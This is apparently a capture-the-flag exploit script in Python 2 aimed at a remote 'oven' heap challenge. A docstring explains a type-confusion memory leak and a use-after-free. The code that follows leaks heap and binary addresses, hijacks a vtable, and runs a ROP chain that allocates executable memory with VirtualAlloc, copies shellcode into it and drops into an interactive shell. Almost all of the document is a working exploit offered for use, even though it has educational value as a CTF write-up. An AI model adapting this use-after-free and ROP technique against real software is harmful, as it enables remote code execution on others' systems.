#!/usr/bin/python ''' Setup: You have an oven with a bunch of slots. In each slot, you can put a bread. There are 3 types of bread, 0, 1, and 2. They're only different in their sizes. The oven has a vector of pointers to breads and each bread identifies which slot it's in. Each bread contains the following information: - vtable, since there are some virtual methods for the diff types of bread - bake time remaining - slot number - C++ string containing some sort of name entered at creation time - a giant buffer containing ascii art for the bread. The size varies depending on the bread type. The oven has a background thread which runs every 5s. This goes through the bread vector and decrements times and modifies the ascii art throughout the baking process. There is also a helper robot that can optionally run inside the background thread right before the baking step. If it is enabled, the robot goes through the breads and deletes any breads that have 0s remaining. The menu options let you add, remove, and view breads, edit the ascii art of bread, turn the oven on/off, and enable/disable the robot. Bugs: 1) The view bread function takes a slot, then asks the user for the bread type instead of detecting the correct type. Thus, it's possible to leak memory by specifying a larger bread type when viewing a small bread type. 2) When the helper robot frees a bread, it does not remove the bread from the vector. This leads to a use after free. Exploit: 1) Create a small bread and use bug #1 to leak a heap address. 2) Edit the first bread, which triggers an allocation of 0x800 for a temporary buffer, which is freed after the edit. 3) Create two breads (the second one with bake time 3). These breads both get assigned blocks inside the 0x800 byte buffer that was just freed. 4) Use the leak bug on the first bread to read the beginning of the second bread. This lets us read the vtable pointer for the second bread to find the program base address. 5) Delete the first of the two breads (this lives at the beginning of the 0x800 block. 6) Turn on the robot and the oven, wait 15s. In the 15s, the bread should finish baking (remaining time goes to 0). 7) Turn off the oven, wait 5s. In this time, the robot will delete the second bread we made. If we had not turned off the oven first, then the oven would have crashed trying to process the freed bread. 8) Turn off the robot 9) Edit the very first bread we made again. Since the two breads from step 3 were freed, we get the same 0x800 buffer, and the bread that the robot just freed lives in the middle of this buffer. We overwrite the vtable of the the bread when we fill in the edit buffer. 10) We overwrite the vtable so that a vtable call inside the oven processing code will jump to an instruction of our choice. We chose to let the oven processing code be the trigger since we control stack in that function. 11) Turn on the oven and wait 5s. During this time, the oven processing code reads the ascii art for the deleted bread onto the stack and calls a function from our fake vtable. The function moves the stack pointer up and returns into a ROP chain which we placed inside the ascii art. The ROP chain here VirtualAllocs some RWE memory at a fixed address, memmoves our shellcode there, and jumps to it. ''' import struct import socket import telnetlib import time shellcode = '\xcc' def sendnum(f, n): f.write(str(n).ljust(6, '\x00')) def sendstr(f, s, pad=None): if pad is not None: s = s.ljust(pad, '\x00')[:pad] f.write(s) def readlines(f, n): for i in xrange(n): print f.readline().strip() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('ctf.fluxfingers.net', 1340)) f = s.makefile('rw', bufsize=0) readlines(f, 1) # Add leak bread (0x228) readlines(f, 10) sendnum(f, 0) # insert bread readlines(f, 5) sendnum(f, 0) # bread type readlines(f, 2) sendnum(f, 30) # baking time readlines(f, 2) sendnum(f, 0) # slot readlines(f, 2) sendstr(f, 'LEAK', 2048) # comment # Read bread (0x428) readlines(f, 10) sendnum(f, 2) # read bread readlines(f, 2) sendnum(f, 0) # slot readlines(f, 5) sendnum(f, 1) # bread type data = f.read(1024) heap_addr = struct.unpack('I', data[0x208:0x208+4])[0] print 'heap_addr:', hex(heap_addr) #print data.encode('hex') # Edit bread 0 (0x800) readlines(f, 10) sendnum(f, 3) # edit bread readlines(f, 2) sendnum(f, 0) # slot readlines(f, 2) sendstr(f, 'EDIT', 2048) # comment # Add bread 1 (0x288) readlines(f, 10) sendnum(f, 0) # insert bread readlines(f, 5) sendnum(f, 0) # bread type readlines(f, 2) sendnum(f, 30) # baking time readlines(f, 2) sendnum(f, 1) # slot readlines(f, 2) sendstr(f, 'FREE1', 2048) # comment raw_input('about to add bread 2') # Add bread 2 (0x288) readlines(f, 10) sendnum(f, 0) # insert bread readlines(f, 5) sendnum(f, 0) # bread type readlines(f, 2) sendnum(f, 3) # baking time readlines(f, 2) sendnum(f, 2) # slot readlines(f, 2) sendstr(f, 'FREE2', 2048) # comment # Read bread 1 (0x428) readlines(f, 10) sendnum(f, 2) # read bread readlines(f, 2) sendnum(f, 1) # slot readlines(f, 5) sendnum(f, 1) # bread type data = f.read(1024) binary_base = struct.unpack('I', data[0x208:0x208+4])[0] - 0x10F60 print 'binary_base:', hex(binary_base) #print data.encode('hex') # Remove bread 1 (0x288) readlines(f, 10) sendnum(f, 1) # remove bread readlines(f, 2) sendnum(f, 1) # slot # Turn on robot readlines(f, 10) sendnum(f, 4) # manage robot readlines(f, 3) sendnum(f, 0) # enable robot readlines(f, 2) raw_input('about to turn on oven (1)') # Turn on oven readlines(f, 10) sendnum(f, 5) # turn on oven readlines(f, 2) # during this time, the free bread finish baking. print 'waiting ~15s...' time.sleep(15) print'done waiting.' # Turn off oven readlines(f, 10) sendnum(f, 6) # turn off oven readlines(f, 2) # during this time, the free bread should get freed. print 'waiting ~5s...' time.sleep(5) print'done waiting.' # Turn off robot readlines(f, 10) sendnum(f, 4) # manage robot readlines(f, 3) sendnum(f, 1) # disable robot readlines(f, 2) # Edit bread 0 raw_input('about to edit bread 0 (2)') readlines(f, 10) sendnum(f, 3) # edit bread readlines(f, 2) sendnum(f, 0) # slot readlines(f, 2) get_data = binary_base + 0x2f80 type_1 = binary_base + 0x3090 pop_ret = binary_base + 0x104a add_0x30_ret = binary_base + 0xdc0e # 405293: 8b 45 08 mov 0x8(%ebp),%eax # 405296: 5d pop %ebp # 405297: c3 ret load_gadget = binary_base + 0x5293 pop_ebp_ret = binary_base + 0x5296 virtualalloc_ptr = binary_base + 0xE004 jmp_eax = binary_base + 0x810a memmove = binary_base + 0xB5B0 bread2_vtable = '' bread2_vtable += struct.pack('I', get_data) bread2_vtable += struct.pack('I', pop_ret) bread2_vtable += struct.pack('I', type_1) sc_addr = heap_addr + 0x28 bread2_vtable_addr = sc_addr + 0x140 rop = '' rop += struct.pack('I', pop_ebp_ret) rop += struct.pack('I', virtualalloc_ptr - 8) rop += struct.pack('I', load_gadget) rop += struct.pack('I', 0) # ebp rop += struct.pack('I', jmp_eax) rop += struct.pack('I', memmove) rop += struct.pack('I', 0x10101000) rop += struct.pack('I', 4096) rop += struct.pack('I', 0x3000) # MEM_COMMIT | MEM_RESERVE rop += struct.pack('I', 0x40) # PAGE_EXECUTE_READWRITE rop += struct.pack('I', 0x10101000) rop += struct.pack('I', 0x10101000) rop += struct.pack('I', sc_addr) rop += struct.pack('I', len(shellcode)) overwrite = shellcode.ljust(0x140, 'A') overwrite += bread2_vtable overwrite = overwrite.ljust(0x230, 'A') overwrite += struct.pack('I', bread2_vtable_addr) # vtable_addr overwrite += struct.pack('I', 0) # time_remaining overwrite += struct.pack('I', add_0x30_ret) # slot overwrite += 'A' * (40 - 12) overwrite += ''.join(chr(ord(c)^3) for c in rop) sendstr(f, overwrite, 2048) # comment raw_input('about to turn on oven (2)') # Turn on oven readlines(f, 10) sendnum(f, 5) # turn on oven readlines(f, 2) t = telnetlib.Telnet() t.sock = s t.interact()